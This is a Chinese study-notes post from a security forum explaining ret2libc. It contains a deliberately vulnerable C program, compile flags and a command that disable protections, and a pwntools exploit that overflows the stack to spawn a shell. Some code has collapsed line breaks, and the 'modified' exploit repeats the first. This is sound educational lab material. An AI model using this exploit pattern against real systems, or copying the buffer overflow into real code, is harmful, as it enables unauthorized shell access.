Ret2libc 学习记录笔记
2021-06-30 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:37 收藏

看雪论坛作者ID:天象独行

夫霸天下者有三戒,毋贪,毋忿,毋急。贪则多失,忿则多难,急则多蹶。夫审大小而图之,乌用贪?衡彼己而施之,乌用忿?酌缓急而布之,乌用急?君能戒此三者,于霸也近矣。

1

什么是Ret2libc 技术

2

举例

#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulnerable_function(){char buf[128];read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv){vulnerable_function();write(STDOUT_FILENO, "Hello, World\n", 13);}
2.2 编译指令
gcc -m32 -fno-stack-protector -no-pie -o test test.c
2.3 检查程序保护技术
注释:-no-pie只是针对编译的ELF文件做了随机化,libc加载地址跟/proc/sys/kernel/randomize_va_space有关echo 0 >/proc/sys/kernel/randomize_va_space
2.4 测试思路

使用gdb进行调试,运行程序并且获取函数system地址,以及参数“/bin/sh”的地址,然后设计溢出劫持程序流程来的程序运行system('/bin/sh')。

2.5 调试

设置断点,运行程序,使system()加载。

获取system函数以及参数的地址。
生成字符穿,计算溢出点。
构造分析:
注释:图中有一个难理解的地方,即覆盖system函数的地址后面为什么需要紧接这一个"ret"然后才是参数“/bin/sh”。其实该"ret"的值可以是任意。他的作用可以说就是为了在调用system() 函数压入参数的时候将“/bin/sh”压入。
假定程序在正常执行时ret 的时候,原本可以正常跳转出去,但是现在ret 的位置被修改成为“system()”函数。所以执行完ret 指令之后,EIP的值是system(),也就是说下一步就是执行函数system()。所以,程序会在[EBP+8] 的位置找寻参数。下图为正常函数调用之后的栈空间示意图:
 exp
from pwn import *
p = process('./test')print 'pid' + str(proc.pidof(p))
ret=0x56556226a = 0xf7e0a830b = 0xf7f57352
payload = 'a'*140 + p32(a) + p32(ret) + p32(b)
pause()
p.send(payload)p.interactive()
效果展示:
调试exp,修改exp:
from pwn import *
p = process('./test')print 'pid' + str(proc.pidof(p))
ret=0x56556226a = 0xf7e0a830b = 0xf7f57352
payload = 'a'*140 + p32(a) + p32(ret) + p32(b)
pause()
p.send(payload)p.interactive()

END

看雪ID:天象独行

https://bbs.pediy.com/user-home-911429.htm

  *本文由看雪论坛 天象独行 原创,转载请注明来自看雪社区

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458387337&idx=1&sn=19e267fb698330ac0cf0b0453d74d0f0&chksm=b18f330386f8ba1551679c990af4cce20b1d848b0d062f405df4c56c54fa19333c56c143b080#rd
如有侵权请联系:admin#unsafe.sh